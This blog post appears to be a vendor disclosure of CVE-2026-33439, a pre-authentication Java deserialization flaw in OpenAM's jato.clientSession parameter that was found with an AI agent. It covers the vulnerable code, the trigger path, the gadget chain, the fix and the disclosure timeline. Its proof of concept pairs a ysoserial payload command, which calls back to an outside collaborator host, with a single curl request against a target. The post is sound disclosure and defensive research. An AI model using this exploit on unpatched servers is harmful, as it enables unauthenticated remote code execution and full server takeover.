Overview
Pre-Auth RCE in OpenAM via jato.clientSession (CVE-2026-33439)

Pre-Auth RCE in OpenAM via jato.clientSession (CVE-2026-33439)

April 7, 2026
4 min read
index

As part of our security research efforts, we’ve been using Hacktron AI to go after high-impact open source projects. The idea is simple, along with generic whitebox pentesting, we feed it a knowledge base of previous security research, point it at a target, and let it hunt. With threat actors already using AI, we figured we should be doing the same to stay ahead. We’re going to start publishing the results of these efforts, this is the first one.

Remember CVE-2021-35464? Pre-auth RCE in OpenAM via unsafe Java deserialization of jato.pageSession. Textbook deserialization, custom gadget chain, full server compromise. Great research by Michael Stepankin.

The agent looked at the original research, noticed JATO had one parameter that deserializes user input, and asked the obvious question: could there be another? There was.

The missed sibling

After CVE-2021-35464, OpenAM patched jato.pageSession by wrapping deserialization with a WhitelistObjectInputStream that restricts class loading to about 40 safe types. Gadget classes like PriorityQueue or TemplatesImpl get rejected. But JATO has a second parameter, jato.clientSession, and its deserialization lives in a completely separate code path:

ClientSession.java
protected ClientSession(RequestContext context) {
this.encodedSessionString =
context.getRequest().getParameter("jato.clientSession");
}

This value gets passed into Encoder.deserialize(), which calls ApplicationObjectInputStream.readObject() with no filtering. No whitelist. No class restrictions. Raw deserialization of attacker-controlled input. The fix for pageSession already existed in the same codebase but was never applied to clientSession.

The patched path:

ConsoleViewBeanBase.java
protected void deserializePageAttributes() {
this.setPageSessionAttributes(
(Map) IOUtils.deserialise(
Encoder.decodeHttp64(pageAttributesParam), false, classLoader));
}

The unpatched path:

ClientSession.java
protected void deserializeAttributes() {
if (this.encodedSessionString != null
&& this.encodedSessionString.trim().length() > 0) {
this.setAttributes(
(Map) Encoder.deserialize(
Encoder.decodeHttp64(this.encodedSessionString), false));
}
}

IOUtils.deserialise() uses a whitelist. Encoder.deserialize() does not. Same framework, same pattern, different treatment.

Trigger chain

jato.clientSession deserialization does not trigger on every request. It only fires when the rendered JSP contains <jato:form> tags. Full call path from HTTP request to readObject():

GET /openam/ui/PWResetUserValidation?jato.clientSession=<PAYLOAD>
→ PWResetServlet.doGet()
→ ApplicationServletBase.processRequest()
→ dispatchRequest() → viewBean.forwardTo() ← JSP rendering begins
→ JSP <jato:form> tag → FormTag.doStartTag()
→ getClientSession() ← reads jato.clientSession param
→ hasAttributes() → getEncodedString()
→ isValid() → ensureAttributes()
→ deserializeAttributes()
→ Encoder.decodeHttp64() ← URL-safe Base64 decode
→ Encoder.deserialize()
→ ApplicationObjectInputStream
.readObject() ← no whitelist, game over

The Password Reset pages (/ui/PWResetUserValidation, /ui/PWResetQuestion) are ideal targets. They are unauthenticated and their JSPs include <jato:form> tags. One caveat: jato.pageSession must not be in the same request. If it is, dispatchRequest() throws a ServletException before JSP rendering begins and the clientSession deserialization never fires.

Gadget chain

OpenAM 16.0.5 ships with everything needed for a Click-style gadget chain. The Click classes are repackaged under org.openidentityplatform.openam.click.control (not org.apache.click.control), and TemplatesImpl comes from xalan-2.7.3.jar:

PriorityQueue.readObject() [java.util]
→ heapify() → siftDown() → comparator.compare()
→ Column$ColumnComparator.compare() [openam-core-16.0.5.jar]
→ Column.getProperty()
→ PropertyUtils.getObjectPropertyValue() [click-nodeps-2.3.0.jar]
→ Method.invoke(TemplatesImpl, "getOutputProperties")
→ TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar]
→ newTransformer()
→ defineTransletClasses()
→ TransletClassLoader.defineClass(_bytecodes)
→ _class[_transletIndex].newInstance()
→ EvilTranslet.<clinit>() [attacker bytecode]
→ Runtime.getRuntime().exec(cmd)

The standard ysoserial Click1 gadget won’t work out of the box because of the repackaged class names. We’re not releasing our custom gadget chain, but adapting Click1 to use the correct package paths and the external Xalan TemplatesImpl is trivial if you know your way around Java deserialization.

Proof of concept

Generate payload
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar OpenAM1 \
"curl http://YOUR-COLLABORATOR-ID.oastify.com" > payload.bin
PAYLOAD=$(base64 < payload.bin | tr -d '\n' | tr '+/' '-_' | tr -d '=')
Send the payload
curl -k "https://TARGET/openam/ui/PWResetUserValidation?jato.clientSession=${PAYLOAD}"

No auth. No cookies. No tokens. One GET request, code execution.

Tested on OpenIdentityPlatform OpenAM 16.0.5 with Tomcat 10.1.52 and Java 21.0.7. Also verified on the official openidentityplatform/openam:latest Docker image with Java 25.

Fix

OpenAM 16.0.6 routes Encoder.deserialize() through IOUtils.deserialise(), the same WhitelistObjectInputStream that already protects jato.pageSession. Both parameters now go through identical class filtering. The maintainers also added StackWalker-based call tracing to log deserialization callers.

If you’re running OpenAM 16.0.5 or earlier, update now.

Conclusion

This isn’t some crazy novel bug. It’s a small variant that got missed, a sibling parameter in the same framework that nobody applied the same fix to. The agent figured it out from the original research sitting in its latent space. Subtle, but real.

We believe there are bugs like this all over the internet. Incomplete patches, missed siblings, slight variations of known vulns that just never got the human attention. The industry never had enough people to clear up that debt. LLMs are relentless at exactly this kind of work, but the key is how you use them. One-shot prompts won’t be enough, with the right context, the right scaffolding, and proper feedback loops, agents perform way better than naive single-pass scans.

If you maintain an open source project and want help finding these before someone else does, reach out. We’re happy to do free AI audits and help you secure your stuff. hello@hacktron.ai

Disclosure timeline

DateEvent
2026-03-19Vulnerability reported to OpenIdentityPlatform via GHSA
2026-03-20Report accepted by maintainer (maximthomas)
2026-03-20CVE-2026-33439 reserved
2026-03-23Fix merged into master (commit 014007c)
2026-04-07CVE-2026-33439 and GHSA-2cqq-rpvq-g5qj published
2026-04-07Public disclosure

CVE-2026-33439 | Critical | CVSS 9.8 | CWE-502 | GHSA-2cqq-rpvq-g5qj

Meet our team at hacktron.ai. Reach out at hello@hacktron.ai or book a call.